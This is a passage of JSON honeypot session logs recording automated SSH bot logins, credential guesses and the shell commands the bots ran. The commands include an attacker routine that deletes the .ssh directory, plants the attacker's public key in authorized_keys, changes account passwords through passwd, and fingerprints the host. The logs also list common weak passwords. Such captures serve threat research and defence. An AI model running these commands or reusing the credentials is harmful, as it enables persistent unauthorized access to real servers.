20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:39:42.842520+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:39:42.843310+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:39:43.123287+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:39:43.123795+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:39:43.401126+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:39:43.401776+00:00","kind":"output","latency_ms":null,"data":"pixel"},{"seq":29,"at":"2026-08-26T13:39:43.679776+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:39:44.257063+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:39:44.534807+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:39:45.051028+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"pixel","password":"pixel","method":"password","accepted":true,"tier":"other"}]} {"id":"02f33255-4654-4a6c-bbb3-bb4b12a9245c","name":"fabled-snowy-jay","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":56168,"username":"pixel","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:39:37.212549+00:00","ended_at":"2026-08-26T13:39:38.690383+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"pixel","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4ffe3a76-bb30-4805-a89b-c930ec566f04","name":"fearless-whispering-godwit","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":56166,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:39:35.736109+00:00","ended_at":"2026-08-26T13:39:36.615940+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2a30883d-7b95-49f9-91bd-66ddac1924e6","name":"fierce-valiant-penguin","protocol":"ssh","channel_kind":"exec","src_ip":"157.245.34.56","src_port":52088,"username":"ajay","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":298,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:37:42.190540+00:00","ended_at":"2026-08-26T13:37:42.793002+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2046,"events":[{"seq":1,"at":"2026-08-26T13:37:32.267572+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:37:32.566738+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:37:36.049011+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:37:36.049474+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:37:36.346465+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\n45iB3TuIlRga\\n45iB3TuIlRga\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:37:36.644897+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\n45iB3TuIlRga\\n45iB3TuIlRga\\n\"|passwd"},{"seq":7,"at":"2026-08-26T13:37:36.948870+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:37:36.950075+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:37:37.250413+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:37:37.745728+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:37:38.050900+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:37:38.591355+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:37:38.893350+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:37:38.893660+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T13:37:39.190476+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:37:39.191113+00:00","kind":"output","latency_ms":null,"data":" 13:37:39 up 6 days, 10:27, 0 user, load average: 0.12, 0.13, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:37:39.490234+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:37:39.491943+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:37:39.787556+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:37:39.788071+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:37:40.086580+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:37:40.088090+00:00","kind":"output","latency_ms":null,"data":"top - 13:37:40 up 6 days, 10:27, 0 user, load average: 0.12, 0.13, 0.09\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:37:40.382631+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:37:40.383097+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:37:40.690138+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:37:40.690617+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:37:40.988031+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:37:40.988520+00:00","kind":"output","latency_ms":null,"data":"ajay"},{"seq":29,"at":"2026-08-26T13:37:41.285227+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:37:41.892961+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:37:42.191443+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:37:42.704451+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ajay","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"a18a4021-a7d7-4abf-ad17-d3c33a1c8106","name":"twilight-opal-badger","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":54272,"username":"ajay","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:37:34.938838+00:00","ended_at":"2026-08-26T13:37:35.960526+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ajay","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1ffbef61-95cd-4b7a-953e-73827c05216e","name":"sleepy-cunning-gecko","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":54260,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:37:33.261218+00:00","ended_at":"2026-08-26T13:37:34.353546+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"227a157c-0e69-4850-9f8c-7bed3685cbb8","name":"quiet-orderly-badger","protocol":"ssh","channel_kind":null,"src_ip":"157.245.34.56","src_port":52056,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:34:05.815230+00:00","ended_at":"2026-08-26T13:34:06.918161+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"zxy123","method":"password","accepted":false,"tier":"other"}]}